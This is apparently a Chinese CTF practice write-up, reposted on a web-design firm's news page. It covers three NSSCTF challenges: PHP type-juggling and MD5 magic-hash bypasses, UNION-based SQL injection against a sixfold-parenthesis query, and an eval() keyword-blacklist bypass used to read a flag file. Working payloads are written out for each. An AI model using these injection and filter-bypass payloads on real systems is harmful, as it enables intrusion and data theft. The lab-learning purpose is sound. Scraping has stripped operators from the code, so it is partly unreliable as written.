资讯动态

2026.10.28-NSSCTF刷题记录

发布时间:2026/10/30 2:46:17 来源:尧图企业网站定制
NSSCTF[NSSCTF 2022 Spring Recruit]babyphp?php highlight_file(__FILE__); include_once(flag.php); //将flag.php这个文件在这段代码中插入一次 if(isset($_POST[a])!preg_match(/[0-9]/,$_POST[a])intval($_POST[a])){ //检查是否POST方式传参a不能是整数0-9但是intval取的又是整数 if(isset($_POST[b1])$_POST[b2]){ //检测是否通过POST方式传参b1和b2 if($_POST[b1]!$_POST[b2]md5($_POST[b1])md5($_POST[b2])){ //检查b1和b2是否不相等md5加密后的b1和b2必须强相等 if($_POST[c1]!$_POST[c2]is_string($_POST[c1])is_string($_POST[c2])md5($_POST[c1])md5($_POST[c2])){ //检查c1和c2是不是字符串且不相等md5加密后的相等 echo $flag; }else{ echo yee; } }else{ echo nop; } }else{ echo go on; } }else{ echo lets get some php; } ? lets get some phpinclude_once(flag.php)会把flag.php的代码在当前作用域中执行一次。执行之后文件里定义的变量、函数、类等自然就在当前作用域里生效了。总共就三个条件1、检查是否POST方式传参a不能是整数0-9但是intval取的又是整数2、检查b1和b2是否不相等md5加密后的b1和b2必须强相等3、检查c1和c2是不是字符串且不相等md5加密后的相等首先是第一层绕过if(isset($_POST[a])!preg_match(/[0-9]/,$_POST[a])intval($_POST[a])){payload为a[]1 isset()返回的是布尔值检查是否传参!preg_match() //如果匹配到数字则返回true preg_match 的第二个参数要求是字符串。我们通过a[]1传进去的是数组PHP 7 及以下会 发出警告preg_match() expects parameter 2 to be string, array given 返回 false表示执行失败不是“没匹配到” !preg_match(...) → !false → trueintval 面对数组的规则 输入 返回值 intval([])空数组 0 intval([1])非空数组 1 intval([1,2,3]) 1 任何非空数组intval 都返回 1。所以 intval([1]) → 1 → if 里为真第二层绕过if($_POST[b1]!$_POST[b2]md5($_POST[b1])md5($_POST[b2])){要求两者不相等但是类型和值必须相等——在PHP7版本以下通过数组绕过原理为在PHP版本7以下md5()在接收到数组之后不会进行比较而是直接返回结果null所以在比较的过程中两者结果全是null自然值和类型全部相等payload为 b1[]2b212第三层if($_POST[c1]!$_POST[c2]is_string($_POST[c1])is_string($_POST[c2])md5($_POST[c1])md5($_POST[c2])){第三层要求上传的是字符串且md5加密之后要求相等因PHP规则会将某些字符串加密后的MD5值当作数字0进行处理后导致弱等于成立例如QNKCDZO → 0e830400451993494058024219903391240610708 → 0e462097431906509019562988736854aabg7XSs → 0e087386482136013740957780965295PHP 不是“看错了”或“误认”成科学计数法。弱比较的规则是明确设计的两个字符串用比较时如果两边都符合数字格式就把它们转成数字再比。0e830400...确实符合 PHP 的数字字符串格式科学计数法所以 PHP 按规则把它转成数字0。这不是 bug也不是识别错误是弱比较的正常行为。123 → 数字 123 1.5 → 数字 1.5 1e3 → 数字 1000 0e123 → 数字 0 ← 0 乘以 10 的 123 次方 0e999999 → 数字 0最终payloda[]1b1[]2b2[]12c1QLTHNDTc2QNKCDZO[LitCTF 2023]这是什么SQL 注一下 ?php $sql SELECT username,password FROM users WHERE id .((((((.$_GET[id].)))))); $result $conn-query($sql);使用的是PHP中的拼接符号闭合中并不存在引号的情况给出了后端语句知道了闭合方式为6个括号查看元数据库-1)))))) union select 1,schema_name from information_schema.schemata%23一个库一个库找之后发现是 ctftraining 库查看flag表中的列名发现有一个列名为flag?id-1)))))) union select 1,column_name from information_schema.columns where table_schemactftraining and table_nameflag%23拿到flag?id-1)))))) union select 1,flag from ctftraining.flag%23[UUCTF 2022 新生赛]ez_rce居然都不输入参数可恶!!!!!!!!! ?php ## 放弃把小伙子你真的不会RCE,何必在此纠结呢 if(isset($_GET[code])){ $code$_GET[code]; if (!preg_match(/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i,$code)){ echo 看看你输入的参数不叫样子;echo br; eval($code); } else{ die(你想干什么); } } else{ echo 居然都不输入参数可恶!!!!!!!!!; show_source(__FILE__); }代码逻辑是通过get传参如果没有正则匹配到这其中过滤的函数则执行$code变量中传参的命令print_r()将命令执行后的结果打印出来?codeprint_r(ta\c /fffffffffflagafag);

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑